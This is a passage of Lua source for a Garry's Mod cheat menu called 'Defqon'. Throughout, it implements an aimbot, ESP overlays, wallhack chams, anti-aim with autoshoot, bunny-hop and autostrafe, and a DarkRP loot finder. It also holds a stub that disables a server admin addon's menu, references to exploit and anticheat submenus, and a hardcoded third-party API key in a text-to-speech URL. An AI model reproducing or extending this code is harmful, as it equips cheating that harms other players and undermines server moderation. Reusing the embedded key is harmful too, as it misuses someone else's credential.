Speed",1, 1000, 235) elseif pMenuVars.Sliders["HvH Style"].value == 3 then draw.SimpleText("Random min/max","Font M",380,250,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,380,275,200,20,"HvH randomY",1, 180, 45) end pMenu.DrawCheckBox(Frame,170,310,"HvH Autoshoot",false,"Autoshoot") pMenu.DrawCheckBox(Frame,170,460,"HvH pList",false,"pList") end if firsttime then pMenuVars.Tabs[Visuals].value = false; pMenuVars.Tabs[misc].value = false; pMenuVars.Tabs[b1gExploits].value = false; pMenuVars.Tabs[Aimbot].value = false; pMenuVars.Tabs[hvh].value = true; end firsttime = false; end local PList = vgui.Create( "DFrame" ) PList:SetTitle( "" ) PList:SetSize( 300, ScrH() ) PList:SetPos(0,0) PList:ShowCloseButton(false) PList:MakePopup() PList.Paint = function( self, w, h ) if pMenuVars.CheckBoxes["HvH pList"] != nil && pMenuVars.CheckBoxes["HvH pList"].value then if pMenuVars.Tabs["HvH"].value != nil && pMenuVars.Tabs["HvH"].value then pMenu.DrawRect(0, 0, w, h, Color( 32,45,54, 230 )) draw.SimpleText("PList","Font L",w/2,1,Color(255,255,255,255),TEXT_ALIGN_CENTER) draw.SimpleText("dont shooting?","Font M",w/2,21,Color(255,255,255,255),TEXT_ALIGN_CENTER) draw.SimpleText("User It! :)","Font M",w/2,42,Color(255,255,255,255),TEXT_ALIGN_CENTER) local up = 20; local add = 50 local k = 0; for _,v in pairs(player.GetAll()) do k = k + 1; if v == LocalPlayer() then k = k -1 continue; end pMenu.DrawOutLinedRect(10,up + (k * add),280,44,Color(255,255,255,255)) pMenu.DrawRect(10,up + (k * add),280,44,Color(18,89,131,170)) draw.SimpleText(v:Nick(),"Font M",12,up + (k * add) + 3,Color(0,255,255,255)) draw.SimpleText("P:","Font M",175,up + (k * add) + 3,Color(0,255,255,255)) pMenu.DrawSlider(PList,190,up + (k * add),100,22,v:SteamID().."Force Pitch",-180, 180, 0,true) draw.SimpleText("Y:","Font M",175,up + (k * add) + 24,Color(0,255,255,255)) pMenu.DrawSlider(PList,190,up + (k * add)+22,100,22,v:SteamID().."Force Yaw",-180, 180, 0,true) pMenu.DrawCheckBox(PList,11,up + (k * add) + 23,v:SteamID().."Baim",false,"baim") pMenu.DrawCheckBox(PList,75,up + (k * add) + 23,v:SteamID().."Force Ang",false,"Force Ang") end end end if Frame == NULL then self:Close() end end end function pMenu.boundingbox(ply) local iBoxWidth = 26; local iBoxHeight = 71; local pos = ply:GetBonePosition(ply:LookupBone( "ValveBiped.Bip01_Spine" )); if (ply:Crouching()) then pos = Vector(pos.x, pos.y, pos.z - 27); iBoxHeight = 55; else pos = Vector(pos.x,pos.y,pos.z - 42.5); end local points = { Vector(pos.x - iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z ), Vector(pos.x - iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z ), Vector(pos.x + iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z ), Vector(pos.x + iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z ), Vector(pos.x + iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z + iBoxHeight), Vector(pos.x - iBoxWidth / 2, pos.y + iBoxWidth / 2, pos.z + iBoxHeight), Vector(pos.x - iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z + iBoxHeight), Vector(pos.x + iBoxWidth / 2, pos.y - iBoxWidth / 2, pos.z + iBoxHeight), }; local flb = points[4]:ToScreen(); local brt = points[6]:ToScreen(); local blb = points[1]:ToScreen(); local frt = points[5]:ToScreen(); local frb = points[3]:ToScreen(); local brb = points[2]:ToScreen(); local blt = points[7]:ToScreen(); local flt = points[8]:ToScreen(); local arr = { flb, brt, blb, frt, frb, brb, blt, flt }; local t1 = flb.x; local t2 = flb.y; local t3 = flb.x; local t4 = flb.y; for i=1,8 do if (t1 > arr[i].x) then t1 = arr[i].x; end if (t4 < arr[i].y) then t4 = arr[i].y; end if (t3 < arr[i].x) then t3 = arr[i].x; end if (t2 > arr[i].y) then t2 = arr[i].y; end end return t1,t3,t2,t4; end function pMenu.PredictPos(pos) local myvel = LocalPlayer():GetVelocity() local pos = pos - (myvel * engine.TickInterval()); return pos; end function pMenu.SmoothAngle(angle,me,SmoothPercent) local first = Vector(angle.x - me.x, math.NormalizeAngle(angle.y - me.y), 0.0); local smoothX = me.x + first.x / 100 * SmoothPercent; local smoothY = me.y + first.y / 100 * SmoothPercent; return Angle(smoothX, math.NormalizeAngle(smoothY), 0.0); end function pMenu.GetAngle(src, dst) local delta = pMenu.PredictPos(Vector(dst.x - src.x, dst.y - src.y, dst.z - src.z)); local hyp = math.sqrt(delta.x * delta.x + delta.y * delta.y); local pitch = math.atan(delta.z/hyp) * Rad * -1; local yaw = math.atan(delta.y / delta.x) * Rad; if (delta.x >= 0) then yaw = yaw + 180; end return Angle(pitch, math.NormalizeAngle(yaw - 180), 0.0); end function pMenu.GetAngleVector(src, dst) local delta = pMenu.PredictPos(Vector(dst.x - src.x, dst.y - src.y, dst.z - src.z)); local hyp = math.sqrt(delta.x * delta.x + delta.y * delta.y); local pitch = math.atan(delta.z/hyp) * Rad * -1; local yaw = math.atan(delta.y / delta.x) * Rad; if (delta.x >= 0) then yaw = yaw + 180; end return Vector(pitch, math.NormalizeAngle(yaw - 180), 0.0); end function pMenu.ClosestEntToCross(limit,pcmd,bonee,Angle) if limit == nil then limit = 360; end local curAng = Vector(Angle.x,Angle.y + 180,0); local curEye = LocalPlayer():EyePos() local ret = NULL local retDist = 1000; for k,v in pairs(player.GetAll()) do if v == LocalPlayer() || !v:Alive() then continue; end local pos = Vector(0,0,0); if bonee != nil then pos = pMenu.PredictPos(v:GetBonePosition(v:LookupBone(bonee))) else pos = pMenu.PredictPos(v:GetBonePosition(v:LookupBone(AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone))) end local tarAng = pMenu.GetAngleVector(curEye,pos); tarAng = Vector(tarAng.x,tarAng.y + 180,0); local dist = tarAng:Distance(curAng); if dist <= limit && dist < retDist && LocalPlayer():IsLineOfSightClear(pos) then ret = v; retDist = dist; end end return ret; end function pMenu.AAA(ply) local Angles = ply:EyeAngles() if pMenuVars.CheckBoxes[ply:SteamID().."Force Ang"] != nil && pMenuVars.CheckBoxes[ply:SteamID().."Force Ang"].value then Angles.p = math.NormalizeAngle( math.Clamp(Angles.p,-89,89) + pMenuVars.Sliders[ply:SteamID().."Force Pitch"].value) Angles.y = math.NormalizeAngle( math.NormalizeAngle(Angles.y) + pMenuVars.Sliders[ply:SteamID().."Force Yaw"].value) end ply:SetPoseParameter("aim_pitch", Angles.p); ply:SetPoseParameter("body_yaw", Angles.y); ply:SetPoseParameter("aim_yaw", 0); ply:InvalidateBoneCache(); ply:SetRenderAngles(Angle(0, Angles.y, 0)); end hook.Add("RenderScene","tes",function() for k,v in pairs(player.GetAll()) do if v == LocalPlayer() then continue; end pMenu.AAA(v) end end) function pMenu.DrawESP(ply) local boxcolor = Color(pMenuVars.Sliders["ESP BoxColor.r"].value,pMenuVars.Sliders["ESP BoxColor.g"].value,pMenuVars.Sliders["ESP BoxColor.b"].value,255) local textcolor = Color(pMenuVars.Sliders["ESP TextColor.r"].value,pMenuVars.Sliders["ESP TextColor.g"].value,pMenuVars.Sliders["ESP TextColor.b"].value,255) local left,right,top,bottom = pMenu.boundingbox(ply) if pMenuVars.CheckBoxes["ESP BoundingBox"].value then surface.SetDrawColor(boxcolor); surface.DrawOutlinedRect(left + 1,top + 1, (right - left) + 1,(bottom - top) + 1) end if pMenuVars.CheckBoxes["ESP HealthBar"].value then surface.SetDrawColor(0,0,0,255); surface.DrawRect(left - 5,top - 1 + 2,4, (bottom - top) / 100 * ply:Health() + 2) surface.SetDrawColor(255,0,0,255); surface.DrawRect(left - 4,top + 2,2, (bottom - top) / 100 * ply:Health()) end if (pMenuVars.CheckBoxes["ESP Name"].value) then draw.SimpleText(ply:Nick(),"Font L2",left + (right - left) / 2,top - 5,textcolor,TEXT_ALIGN_CENTER,TEXT_ALIGN_BOTTOM) end if (pMenuVars.CheckBoxes["ESP Position"].value) then local pos = ply:GetPos(); draw.SimpleText("POS = ".."X: "..math.floor(pos.x).." Y: "..math.floor(pos.y).." Z: "..math.floor(pos.z),"Font L2",right + 3,top,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP) end if (pMenuVars.CheckBoxes["ESP Angles"].value) then local pos = ply:EyeAngles(); draw.SimpleText("ANG.X: "..(ply:EyeAngles().p),"Font L2",right + 3,top + 12,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP) draw.SimpleText("ANG.Y: "..(ply:EyeAngles().y),"Font L2",right + 3,top + 24,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP) draw.SimpleText("ANG.Z: "..(ply:EyeAngles().r),"Font L2",right + 3,top + 36,textcolor,TEXT_ALIGN_LEFT,TEXT_ALIGN_TOP) end if (pMenuVars.CheckBoxes["ESP Traceline"].value) then local eyes = (ply:EyePos() + ply:EyeAngles():Forward() * pMenuVars.Sliders["ESP Traceline Distance"].value):ToScreen(); local eye = ply:EyePos():ToScreen(); surface.SetDrawColor(255,255,255,255) if eye.visible && eyes.visible then surface.DrawLine(eyes.x,eyes.y,eye.x,eye.y) end end end // pasted chams because l a z y local chamsmat = CreateMaterial("a", "VertexLitGeneric", { ["$ignorez"] = 1, ["$model"] = 1, ["$basetexture"] = "models/debug/debugwhite", }) local chamsmat2 = CreateMaterial("@", "VertexLitGeneric", { ["$ignorez"] = 0, ["$model"] = 1, ["$basetexture"] = "models/debug/debugwhite", }) function pMenu.Chams(v) local ChamVis = Color(pMenuVars.Sliders["ESP ChamVisColor.r"].value,pMenuVars.Sliders["ESP ChamVisColor.g"].value,pMenuVars.Sliders["ESP ChamVisColor.b"].value,255) local ChamNVis = Color(pMenuVars.Sliders["ESP ChamNVisColor.r"].value,pMenuVars.Sliders["ESP ChamNVisColor.g"].value,pMenuVars.Sliders["ESP ChamNVisColor.b"].value,255) cam.Start3D() if v:IsValid() then if pMenuVars.CheckBoxes["ESP XQZ"].value then render.MaterialOverride(chamsmat) render.SetColorModulation(ChamNVis.r/ 255, ChamNVis.g/255, ChamNVis.b/255) v:DrawModel() end render.SetColorModulation(ChamVis.r / 255, ChamVis.g/ 255, ChamVis.b/ 255) // vis render.MaterialOverride(chamsmat2) v:DrawModel() end local wep = v:GetActiveWeapon() local wep = v:GetActiveWeapon() if wep:IsValid() then if pMenuVars.CheckBoxes["ESP WeaponCham"].value then render.MaterialOverride(chamsmat) render.SetColorModulation(255/255, 0/255, 0/255, 255) wep:DrawModel() render.SetColorModulation(255/255, 255/255, 0/255, 255) render.MaterialOverride(chamsmat2) wep:DrawModel() end end cam.End3D() end function pMenu.bhop(pcmd) if (!LocalPlayer():IsOnGround() && !LocalPlayer():IsTyping() && pcmd:KeyDown(IN_JUMP)) then pcmd:RemoveKey(IN_JUMP) end end function pMenu.autostrafe(pcmd) if !(LocalPlayer():IsOnGround()) && input.IsKeyDown(KEY_SPACE) then if(pcmd:GetMouseX() > 1 or pcmd:GetMouseX() < -1) then if(pcmd:GetMouseX() < 0) then pcmd:SetSideMove(-400) else pcmd:SetSideMove(400) end else pcmd:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D()) pcmd:SetSideMove((pcmd:CommandNumber() % 2 == 0) and 400 or -400) end end end function pMenu.ToggleMenu() if Frame == NULL then pMenu.Menu() else Frame:Close() Frame = NULL end end function pMenu.FixMovement(pCmd,fa,angles) local vec = Vector(pCmd:GetForwardMove(pCmd), pCmd:GetSideMove(), 0) local vel = math.sqrt(vec.x*vec.x + vec.y*vec.y) local mang = vec:Angle() local yaw = angles.y - fa.y + mang.y if (((angles.p+90)%360) > 180) then yaw = 180 - yaw end yaw = ((yaw + 180)%360)-180 pCmd:SetForwardMove(math.cos(math.rad(yaw)) * vel) pCmd:SetSideMove(math.sin(math.rad(yaw)) * vel) end function pMenu.Shoot(pcmd) if(LocalPlayer():KeyDown(1)) then pcmd:SetButtons(bit.band( pcmd:GetButtons(), bit.bnot( 1 ) ) ); else pcmd:SetButtons(bit.bor( pcmd:GetButtons(), 1 ) ); end end hook.Add("RenderScreenspaceEffects","hkRenderScreenspaceEffects",function() if (pMenuVars.CheckBoxes["ESP Chams"] != nil && pMenuVars.CheckBoxes["ESP Chams"].value && pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value) then for k,v in pairs(player.GetAll()) do if v != LocalPlayer() && v:Alive() && !v:IsDormant() && v:Health() > 1 then pMenu.Chams(v); end end end end) hook.Add("PreDrawHalos","hkPreDrawHalos",function() if (pMenuVars.CheckBoxes["ESP Glow"] != nil && pMenuVars.CheckBoxes["ESP Glow"].value && pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value) then local tab = {} for k,v in pairs(player.GetAll()) do if v != LocalPlayer() && v:Alive() then tab[k] = v; end end halo.Add( tab, Color( 255, 255, 255 ), 2, 2, 4,true,true ) end end) hook.Add("HUDPaint","hkHUDPaint",function() for k,v in pairs(player.GetAll()) do if v != LocalPlayer() && v:Alive() then if pMenuVars.CheckBoxes["ESP"] != nil && pMenuVars.CheckBoxes["ESP"].value then pMenu.DrawESP(v) end end end if pMenuVars.CheckBoxes["Aibmot Show fov circle"] != nil && pMenuVars.CheckBoxes["Aibmot Show fov circle"].value then local End = (ScrW() / (LocalPlayer():GetFOV() + 60) ) * pMenuVars.Sliders["Aimbot FOV"].value; pMenu.DrawCircle(ScrW() / 2,ScrH() / 2, End, 70,Color(pMenuVars.Sliders["Aimbot Circle.r"].value,pMenuVars.Sliders["Aimbot Circle.g"].value,pMenuVars.Sliders["Aimbot Circle.b"].value,pMenuVars.Sliders["Aimbot Circle.a"].value)) end end) local View = Angle(); hook.Add("CalcView","hkCalcView",function(ply, pos1, angles, fov) if (pMenuVars.CheckBoxes["HvH Enable"] != nil && pMenuVars.CheckBoxes["HvH Enable"].value) then local view = {} local ang = View view.angles = View local angfwd = ang:Forward(); local distance = pMenuVars.Sliders["MISC Thirdperson Distance"].value local endpoz = Vector(pos1.x - distance * angfwd.x,pos1.y - distance * angfwd.y, pos1.z - distance * angfwd.z); local tracelines = util.TraceLine({start = LocalPlayer():EyePos(),endpos = endpoz, filter = LocalPlayer()}) view.origin = tracelines.HitPos view.drawviewer = true; return view; end if pMenuVars.CheckBoxes["MISC Thirdperson"] != nil && pMenuVars.CheckBoxes["MISC Thirdperson"].value then local view = {} local ang = angles view.angles = ang local angfwd = ang:Forward(); local distance = pMenuVars.Sliders["MISC Thirdperson Distance"].value local endpoz = Vector(pos1.x - distance * angfwd.x,pos1.y - distance * angfwd.y, pos1.z - distance * angfwd.z); local tracelines = util.TraceLine({start = LocalPlayer():EyePos(),endpos = endpoz, filter = LocalPlayer()}) view.origin = tracelines.HitPos view.drawviewer = true; return view; end end) local t = 0; local jitter = false; local AShoot = false; hook.Add("CreateMove","hkCreateMove",function(pCmd) if pMenuVars.CheckBoxes["MISC Bhop"] != nil && pMenuVars.CheckBoxes["MISC Bhop"].value then pMenu.bhop(pCmd) end if pMenuVars.CheckBoxes["MISC Autostrafe"] != nil && pMenuVars.CheckBoxes["MISC Autostrafe"].value then pMenu.autostrafe(pCmd) end if pMenuVars.CheckBoxes["Aibmot Enable"] != nil && pMenuVars.CheckBoxes["Aibmot Enable"].value then if input.IsKeyDown(pMenuVars.Sliders["Aimbot Key"].value) then local nearest = pMenu.ClosestEntToCross(pMenuVars.Sliders["Aimbot FOV"].value,pCmd,AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone,pCmd:GetViewAngles()); if nearest != NULL then local Eye = LocalPlayer():EyePos(); local target = nearest:GetBonePosition(nearest:LookupBone(AimbotPoints[pMenuVars.Sliders["Aimbot Bone"].value].bone)) local End = Angle(); if pMenuVars.CheckBoxes["Aibmot Smooth"].value then End = pMenu.SmoothAngle(pMenu.GetAngle(Eye,target),pCmd:GetViewAngles(),pMenuVars.Sliders["Aimbot Smooth AMT"].value); else End = pMenu.GetAngle(Eye,target) end pCmd:SetViewAngles(End) end end end if input.IsKeyDown(KEY_DELETE) then t = t + 1 if t == 1 then pMenu.ToggleMenu() end else t = 0; end local fwdmouse = Vector(pCmd:GetMouseX(),pCmd:GetMouseY(),0) View.y = math.NormalizeAngle(View.y + ( ((fwdmouse.x / 250) * GetConVar("sensitivity"):GetInt() )* -1) ); View.x = math.Clamp(View.x + ( ((fwdmouse.y / 250) * GetConVar("sensitivity"):GetInt() )),-89,89 ); View:Normalize() if (pMenuVars.CheckBoxes["HvH Enable"] != nil && pMenuVars.CheckBoxes["HvH Enable"].value) then local CurAngles = pCmd:GetViewAngles() local Anglez = Angle(View.x,View.y,0); if (pMenuVars.CheckBoxes["HvH Antiaim"].value) then Anglez = Angle(pMenuVars.Sliders["HvH Pitch"].value,pMenuVars.Sliders["HvH Yaw"].value,0); local style = pMenuVars.Sliders["HvH Style"].value; if style == 1 then jitter = !jitter; if jitter then Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + 100); else Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + 10); end elseif style == 2 then Anglez.y = math.NormalizeAngle(CurAngles.y + (engine.TickInterval() * pMenuVars.Sliders["HvH Spin Speed"].value)); elseif style == 3 then local rand = pMenuVars.Sliders["HvH randomY"].value; Anglez.y = math.NormalizeAngle(CurAngles.y + Anglez.y + math.random(rand * -1,rand)); elseif style == 4 then local ent = pMenu.ClosestEntToCross(720,pCmd,"ValveBiped.Bip01_Head1",View) if ent == NULL then Anglez.y = math.NormalizeAngle(Anglez.y + View.y); else local poz = ent:GetBonePosition(ent:LookupBone("ValveBiped.Bip01_Head1")); local End = pMenu.GetAngle(LocalPlayer():EyePos(),poz); Anglez.y = math.NormalizeAngle(End.y + Anglez.y); end elseif style == 5 then Anglez.y = math.NormalizeAngle(Anglez.y); elseif style == 6 then Anglez.y = math.NormalizeAngle(View.y + Anglez.y); end end if pMenuVars.CheckBoxes["HvH Autoshoot"].value || input.IsKeyDown(pMenuVars.Sliders["Aimbot Key"].value) then AShoot = !AShoot; if AShoot then local ent = pMenu.ClosestEntToCross(720,pCmd,"ValveBiped.Bip01_Head1",View); if ent != NULL then local poz = Vector(0,0,0); if pMenuVars.CheckBoxes[ent:SteamID().."Baim"] != nil && pMenuVars.CheckBoxes[ent:SteamID().."Baim"].value then local center = ent:OBBCenter() poz = ent:GetPos() + center; else poz = ent:GetBonePosition(ent:LookupBone("ValveBiped.Bip01_Head1")); end local End = pMenu.GetAngle(LocalPlayer():EyePos(),poz); Anglez.x = math.Clamp(End.x,-89,89) Anglez.y = math.NormalizeAngle(End.y); pMenu.Shoot(pCmd) end end end if Anglez != nil then pCmd:SetViewAngles(Anglez) end pMenu.FixMovement(pCmd,View,pCmd:GetViewAngles()) end end) hook.Add( "OnPlayerChat", "hkOnPlayerChat", function( ply, strText, bTeam, bDead ) if pMenuVars.CheckBoxes["MISC Text to speech is fucking aids"] != nil && pMenuVars.CheckBoxes["MISC Text to speech is fucking aids"].value then strText = string.lower( strText ) local player = ply:Nick() local text = player.." said "..strText; sound.PlayURL("https://api.ispeech.org/api/rest?apikey=34b06ef0ba220c09a817fe7924575123&action=convert&voice=usenglishmale&speed=1&pitch=100&text="..text,"mono",function(snd) if IsValid(snd) then snd:Play() snd:SetVolume(1) end end) end end) concommand.Add("Defqon_bigmenu",pMenu.ToggleMenu) ////////////////////////////////////////////////////////////////////////////////// // Got bored ended up getting this far in like 4 ish hours I can't type fast :\ // ////////////////////////////////////////////////////////////////////////////////// /* CreateClientConVar( "gravko_esp", "0", true, true) local function gravesp2() if tobool( GetConVarNumber( "gravko_esp" ) ) then for k, v in pairs( player.GetAll() ) do local pos = ( v:GetShootPos() + Vector( 0, 0, 30) ):ToScreen() draw.SimpleTextOutlined( v:Nick(), "Default", pos.x + 40, pos.y + 15, Color(0,255,0), 1, 1, 1, Color( 0, 0, 0, 255 ) ) local hp = "HP: "..v:Health() local teamcol = team.GetColor(v:Team()) local wep2 = v:GetActiveWeapon() local rank1 = "["..v:GetUserGroup().."]" local friend = v:GetFriendStatus() local targetDistance = math.floor((LocalPlayer():GetPos():Distance( v:GetPos()))/40) local targetDistance3 = math.floor((LocalPlayer():GetPos():Distance( v:GetPos()))/100000) //draw.SimpleTextOutlined( targetDistance, "Default", pos.x + 40, pos.y + 30, Color(255,160,0), 1, 1, 1, Color( 0, 0, 0, 255 ) ) draw.SimpleTextOutlined( hp, "Default", pos.x + 40, pos.y + 27, Color(255,160,0), 1, 1, 1, Color( 0, 0, 0, 255 ) ) draw.SimpleTextOutlined( rank1, "Default", pos.x + 40, pos.y + 5, Color(255,0,0), 1, 1, 1, Color( 0, 0, 0, 255 ) ) //draw.SimpleTextOutlined( friend, "Default", pos.x + 40, pos.y + 20, Color(0,150,255), 1, 1, 1, Color( 0, 0, 0, 255 ) ) local boxpos2 = ( v:GetShootPos() + Vector( 0, 0, 30) ):ToScreen() draw.RoundedBox(5, pos.x - 6, pos.y + targetDistance3, 11, 11, Color(teamcol.r,teamcol.g,teamcol.b, 255), 1) end end end hook.Add( "HUDPaint", "esp2", gravesp2) -------------------------------------------------------- */ showunk = CreateClientConVar("gmhax_ShowUnknownEntity", "1", true, true) shouldloot = CreateClientConVar("gmhax_showdarkrploot2", "0", true, true) hook.Add("HUDPaint", "findtherpshit", function() if shouldloot:GetBool() then for k, v in pairs(ents.GetAll()) do local mDistance = math.floor((LocalPlayer():GetPos():Distance( v:GetPos()))/40) Pos = v:GetPos():ToScreen() if not string.find(v:GetClass(), "prop") and not string.find(v:GetClass(), "func") and not string.find(v:GetClass(), "class") and not string.find(v:GetClass(), "env") and not string.find(v:GetClass(), "player") and not string.find(v:GetClass(), "view") and not string.find(v:GetClass(), "world") and not string.find(v:GetClass(), "weapon_") and not string.find(v:GetClass(), "gmod") and not string.find(v:GetClass(), "beam") and not string.find(v:GetClass(), "manipulate") and not string.find(v:GetClass(), "sent") and not string.find(v:GetClass(), "m9k") and not string.find(v:GetClass(), "gun") and not string.find(v:GetClass(), "pocket") and not string.find(v:GetClass(), "vending") and not string.find(v:GetClass(), "npc") and not string.find(v:GetClass(), "sammy") and not string.find(v:GetClass(), "stunstick") and not string.find(v:GetClass(), "unarrest_stick") and not string.find(v:GetClass(), "arrest_stick") and not string.find(v:GetClass(), "door") and not string.find(v:GetClass(), "keys") and not string.find(v:GetClass(), "keypad") and not string.find(v:GetClass(), "lock") and not string.find(v:GetClass(), "chat") and not string.find(v:GetClass(), "gmt") and not string.find(v:GetClass(), "weaponchecker") and not string.find(v:GetClass(), "Keypad") and not string.find(v:GetClass(), "med_") and not string.find(v:GetClass(), "darkrp") and not string.find(v:GetClass(), "swep") and not string.find(v:GetClass(), "fas2") and not string.find(v:GetClass(), "ent_spike") and not string.find(v:GetClass(), "car") and not string.find(v:GetClass(), "fuel") and not string.find(v:GetClass(), "taser") and not string.find(v:GetClass(), "point") and not string.find(v:GetClass(), "hook") and not string.find(v:GetClass(), "tv") and not string.find(v:GetClass(), "newspaper") and not string.find(v:GetClass(), "atm") and not string.find(v:GetClass(), "handcuffs") and not string.find(v:GetClass(), "payphone") and not string.find(v:GetClass(), "wire") then if string.find(v:GetClass(), "printer") then // draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1) // draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 100, 40, Color(0,0,0,120), 1) draw.SimpleTextOutlined("Принтер", "Default", Pos.x + 25, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 54, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255)) elseif v:GetClass() == "spawned_shipment" then // draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1) // draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 100, 40, Color(0,0,0,120), 1) draw.SimpleTextOutlined("Ящики", "Default", Pos.x + 30, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 55, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255)) elseif string.find(v:GetClass(), "durgz") then // draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1) // draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1) draw.SimpleTextOutlined("Наркота", "Default", Pos.x + 23, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 50, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255)) elseif v:GetClass() == "spawned_weapon" then //draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1) // draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1) draw.SimpleTextOutlined("Оружие", "Default", Pos.x + 25, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 50, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255)) elseif v:GetClass() == "spawned_money" then // draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1) // draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1) draw.SimpleTextOutlined("Деньги", "Default", Pos.x + 25, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 50, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255)) else if showunk:GetBool() then // draw.RoundedBox(5, Pos.x - 6, Pos.y - 30, 11, 11, Color(0, 0, 255, 255), 1) // draw.RoundedBox(6, Pos.x + 5, Pos.y - 38, 95, 40, Color(0,0,0,120), 1) //draw.SimpleTextOutlined("Неизвестное энтити", "Default", Pos.x + 47, Pos.y - 30, Color(0,255,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined(v:GetClass(), "Default", Pos.x + 53, Pos.y - 20, Color(255,170,0), 1, 1, 1, Color(0,0,0,255)) draw.SimpleTextOutlined("["..mDistance.."]", "Default", Pos.x + 18, Pos.y - 8, Color(255,0,0), 1, 1, 1, Color(0,0,0,255)) end end end end end end) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- local ulxflood = false local netKey = "" local Defqon = nil if ulx then ulx.showMotdMenu = function() end end local iZNX = {} iZNX.memory = {} local grad = Material( "gui/gradient" ) local upgrad = Material( "gui/gradient_up" ) local downgrad = Material( "gui/gradient_down" ) local ctext = chat.AddText surface.CreateFont("HUDLogo2",{size = 18, weight = 100, antialias = 0}) timer.Create("timerversionchecker",20,1,function() hook.Remove("HUDPaint", "HudVersionChecker") end) hook.Add("HUDPaint", "HudVersionChecker", function() draw.SimpleTextOutlined( "Привет "..steamworks.GetPlayerName( LocalPlayer():SteamID64() )..", вы используете последнюю версию меню", "HUDLogo2", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/30, Color( 99, 210, 214, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,255) ) end) function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound("") function luaview() surface.PlaySound("garrysmod/ui_click.wav") iZNX.Menu:Remove() vgui.Create("chmluaviewer"):MakePopup() end concommand.Add("Defqon_luaview", function() vgui.Create("chmluaviewer"):MakePopup() end) function bigmenu() surface.PlaySound("garrysmod/ui_click.wav") iZNX.Menu:Remove() RunConsoleCommand( "Defqon_bigmenu" ) end function anticheats() surface.PlaySound("garrysmod/ui_click.wav") iZNX.Menu:Remove() RunConsoleCommand( "Defqon_anticheats") end ---------------------------------------------------------------------------------------------------------------------------------------------------------------- function editor() local PANEL = {} PANEL.URL = "http://metastruct.github.io/lua_editor/" -- вот дауны ебать ору PANEL.COMPILE = "C" local javascript_escape_replacements = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'", } function PANEL:Init() self.Code = "" self.ErrorPanel = self:Add("DButton") self.ErrorPanel:SetFont('BudgetLabel') self.ErrorPanel:SetTextColor(Color(255,255,255)) self.ErrorPanel:SetText("") self.ErrorPanel:SetTall(0) self.ErrorPanel.DoClick = function() 